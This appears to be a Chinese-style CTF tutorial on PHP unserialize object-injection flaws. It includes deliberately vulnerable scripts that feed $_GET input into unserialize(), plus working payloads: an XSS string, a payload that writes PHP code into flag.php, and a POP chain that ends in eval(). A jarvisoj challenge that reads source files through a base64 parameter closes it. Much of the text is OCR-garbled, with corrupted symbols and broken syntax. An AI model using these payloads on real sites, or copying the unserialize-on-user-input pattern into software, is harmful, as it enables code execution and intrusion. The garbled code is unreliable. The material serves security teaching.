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<?php
class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test(){
return 'this is a test!’;

}

}
$test = new Test();

var_dump(serialize($test));
?>
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<?php

class Test{
public $a = 'ThisA';
protected $b = 'ThisB';
private $c = 'ThisC';
public function test(){

return'this is test';

}

}
$test = new Test();

$sTest = serialize($test);
$usTest = unserialize($sTest);
var_dump($usTest);

?>
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object(Test)#2 (3) {
["a"]=> string(5) "ThisA"
["b":protected]=> string(5) "ThisB"
["c":"Test":private]=> string(5) "ThisC"
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<?php

class test{
var $test = "hello";
function __destruct(){

echo $this->test;

}

}

$a = $_GET['id'];

$a_u = unserialize($a);

?>
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127.0.0.1/Unserialize/test.php
?id=0:4:"test":1:{s:4:"test";s:40:"<script>alert(/you are hacked/)</script>";}
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<?php
class test{
var $test = '123';
function _ wakeup(){
$fp = fopen("flag.php","w") ;
fwrite($fp,$this->test);
fclose($fp);

}

$a = $_GET['id'];
print_r(%$a);

echo "</br>";

$a_unser = unserialize($a);
require "flag.php";

?>
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0:7:"test":1:{s:4:"test";s:19:"<?php phpinfo(); ?>";}
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pll‘t URL Pid=0-4:"test":1: {si‘iiﬂtest";s:lg:"(?php phpinfu{} o

xecute

[] Enable Post data [_| Enable Referrer

*test”:1:{s:4:"test”;5:19:77;}

System Windows NT SHAVCHEN 6.2 build 9200
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<?php
class testl{
function __construct($test){
$fp = fopen("flag.php","w") ;
fwrite($fp,$test);
fclose($fp);

}
class test2{

var $test = '123';
function __wakeup(){
$obj = new testl($this->test);

}

$a = $_GET['id'];
print_r(%$a);

echo "</br>";

$a_unser = unserialize($a);
require "flag.php";

?>
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<?php
class main {
var $test;
function __construct() {
$this->test = new testl();
}
function _ destruct() {
$this->test->action();
}

}
class testl {

function action() {
echo "hello world";
}

}
class test2 {

var $test2;
function action() {
eval($this->test2);
¥
}
$a = new main();
unserialize($_GET['test']);
?>
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<?php
class main {
var $test;
function _ construct() {
$this->test = new test2();
}
}
class test2 {
var $test2 = "phpinfo();";
}
echo serialize(new main());
?>
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0:4:"main":1:{s:4:"test";0:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
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_ﬁ Load URL view—source http://web jarvisoj. com:32768/chowimg. php?img=aW5kIXgucChs
1§ split URL
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! [] Enable Post data [ ] Enable Referrer
<?Pphp
require once( shield. php');
$x = new Shield():;
isset(§ GET[ class’]) && $g = $ CET[ class’];
if (lempty($g)) {

$x = unserialize($e);
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echo $x—>readfile();
)
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class Shield { " v
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function _ construct (§filename = *°) {
$this —> file = $filename;
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function readfile() {
if (lempty($this—>file) && stripos($this—>file,’ ..’ }===FALSE
&& stripos($this—>file,’ /" )==FALSE && stripos($this->file, \\’)==FALSE) {
return @file_get_contents($this—>file);
I
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$f = §$ GET[ img’];
if (lempty ($£)) {
$f = base64 decode($f);
[ 1f Tstripos(3%, ".. "J===FALSE && stripos (3T,
&& stripos($f, pctf )===FALSE) {
readfile ($£);
} else {
echo “File not found!”;
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